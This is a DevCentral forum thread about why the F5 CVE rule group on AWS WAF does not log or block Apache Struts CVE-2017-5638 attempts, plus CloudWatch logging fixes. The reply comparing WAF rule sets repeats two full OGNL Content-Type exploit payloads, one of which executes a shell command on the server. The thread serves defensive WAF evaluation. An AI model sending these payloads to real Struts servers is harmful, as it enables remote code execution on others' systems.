Forum Discussion
F5 rules for AWS WAF - F5-CVE_Managed rule group Logs
Hello,
I've contacted AWS support regarding the WAF and your specific rule group, and AWS suggested I reach out here for specific questions regarding the F5 managed rule. I asked the following question:
We started to get exploit attempts on our production app, and were looking at the best way to block these attempts via a WAF rule.
This was caught from our app error checking vendor Rollbar:
ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('gig54250'" is not a valid MIME type
ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('5rvke1gt'" is not a valid MIME type (Most recent call first)
Exploit information:
https://blog.gdssecurity.com/labs/2017/3/27/an-analysis-of-cve-2017-5638.html
support rep advised:
I understand you observed attack attempts in your application that are exploiting the Apache Struts vulnerability (CVE-2017-5638) and are looking for a way to block these attempts via AWS WAF.
Kindly note that for the Apache Struts Vulnerability there is no AWS Managed rule available, however, you can make use of a marketplace rule group - "Common Vulnerabilities & Exposures (CVE) Rules" which are under "F5 managed rule groups"
We are currently subscribed to the F5 Common Vulnerabilities & Exposures (CVE) Rules, and have all of the rules turned on "Use action defined in the rule" e.g. not set to count. I see in CloudWatch metrics there are data points that show up for F5-CVE_Managed BlockedRequests, but I'm not seeing any logs in CloudWatch for that rule group. I want to be able to see more details in CloudWatch logs that corespond with the blocks in CloudWatch metrics, and it doesn't seem that this rulegroup is sending any logs to cloudwatch and only metrics. Especialy as noted from your documetation https://support.f5.com/csp/article/K21015971
Monitoring rule groups and rules
All rules and rule groups come with CloudWatch metrics that report the number of requests that matched a rule or rule group. When you use multiple rule groups, these metrics help discern which rules are being matched
Long story long, I need to be able to see in CloudWatch logs more details of what the rule group is blocking, and a query to do see that information.
Thank you!
Have you checked if you enabled logging in the AWS WAF ACL that sends the logs to cloudwatch?
https://docs.aws.amazon.com/waf/latest/developerguide/logging.html
Also note that if it is important site better go with F5 virtual edition, F5 silverline for AWS or the new F5 distributed cloud as the AWS WAF is for me simply the free open source mod_security waf for unix/linux and even with the F5 rules the AWS WAF is still just stateless old generation WAF with signatures.
Still if you chose it better in the future to send the logs with Kinesis Data Firehose to a syslog or SIEM server as Cloudwatch has capacity limit and the price to increase it is not small, so better not log the default action (if no rules are matched) as this will log just the illegal requests. There are many free open souce SIEM out there:
- Heath_ParrottEmployee
Hi will-will,
As a notice since we have not seen a response from the F5 support team on the subject I have flagged this thread to them so they can look into how to address these signatures in the managed rule set. No let's take a look at the attack you are describing and overlay that with the WAF security segment.
The AON article references two vectors. The first is a command injection via the Content-Type header
Vector 1${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} The second is more nuanced attempting to interact with the struts platform containers
Vector 2${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} We need to address both of these vectors (and permutations), and this is where it is important to understand that not all WAF engines have the same processing capabiliteis. Third party solutions, such as Advanced WAF, can leverage different broader and deeper processing capabilites. These differences can have a profound impact on the capabilites and thuse the breadeth and depth of vulnerablilities yoru organizaiton is exposed to.
All rule sets on AWS WAF have the same engine to apply their logic with.
We will look at three options for WAF.AWS Managed Rules - on AWS WAF F5 Managed Rules on AWS WAF F5 Adv. WAF We will look at three result options
Block Flagged Pass - Block = Blocked by the WAF
- Flagged = the WAF indentified the request and can notify the admin that there is risk(s)
- Pass = the traffic will be passed to the backedn server(s)
Evaluating AWS WAF Engine with Different Rule Sets - Vector 1Rule Set Vector Result Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass Amazon Known Bad Inputs ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Block F5 Managed CVE ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass F5 Managed OWASP ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass Evaluating AWS WAF Engine with Different Rule Sets - Vector 2
Rule Set Vector Result Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass Amazon Known Bad Inputs ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass F5 Managed CVE ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass F5 Managed OWASP ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass Evaulting F5 Advanced WAF - Vector 1 and Vector 2
WAF F5 Advanced WAF Vector 1 -
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Block F5 Advanced WAF Vector 2 -
${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}Flag I hope this helps.
- will-willAltocumulus
Hi Nikoolayy1,
Thanks for the reply. Yes I can confirm that the AWS WAF ACL is enabled and sending logs to Cloudwatch. However the only logs not available (that I can tell) are specifically F5 Common Vulnerabilities & Exposures (CVE) Rules. The metrics for that rule group are available, just not the logs. Thank you for your other suggestions, and that is something to consider, but for now I'm trying to view the logs in Cloudwatch for this particular rule group.
Thank you!
Maybe check the JSON config file for AWS WAF as the Visibility config should look like the example below:
"VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "AWS-AWSBotControl-Example"
https://docs.aws.amazon.com/waf/latest/developerguide/web-acl-rule-group-settings.html
- will-willAltocumulus
config file looks good
"OverrideAction": { "None": {} }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "F5-CVE_Managed" }
From your last comment though I was able to find some logs in cloudwatch using:
filter terminatingRuleId = "F5-CVE_Managed"
Now that I can see these logs in Cloudwatch I can check and see if the exploits are getting blocked.
Thank you for your help!
- will-willAltocumulus
I was finally able to find in the log entries for the exploit attempt and it looks like that it's not matching any of the rules in the rule groups especially not by F5-CVE_Managed. Since we don't control the rules in these rule groups what can I do to make sure these attemps (Apache Struts vulnerability (CVE-2017-5638)) are blocked by the F5-CVE_Managed rule group?
Generate such an attack and the default action should be "Block" and see that it is blocked and I do not think you will need to overide it as I mentioned it should be "Block" by default. This is it, you have less control with the AWS WAF and more with F5 Advanced WAF or Nginx + with App Protect WAF as cloud native services are like this.
- will-willAltocumulus
Hi Nikoolayy1 , that's the thing, the attacks happen daily, but are getting allowed since they aren't getting picked up by the F5 rule. Since there is no control over the rule I wonder if there is something wrong with the rule group? How would I check?
Recent Discussions
Related Content
* Getting Started on DevCentral
* Community Guidelines
* Community Terms of Use / EULA
* Community Ranking Explained
* Community Resources
* Contact the DevCentral Team
* Update MFA on account.f5.com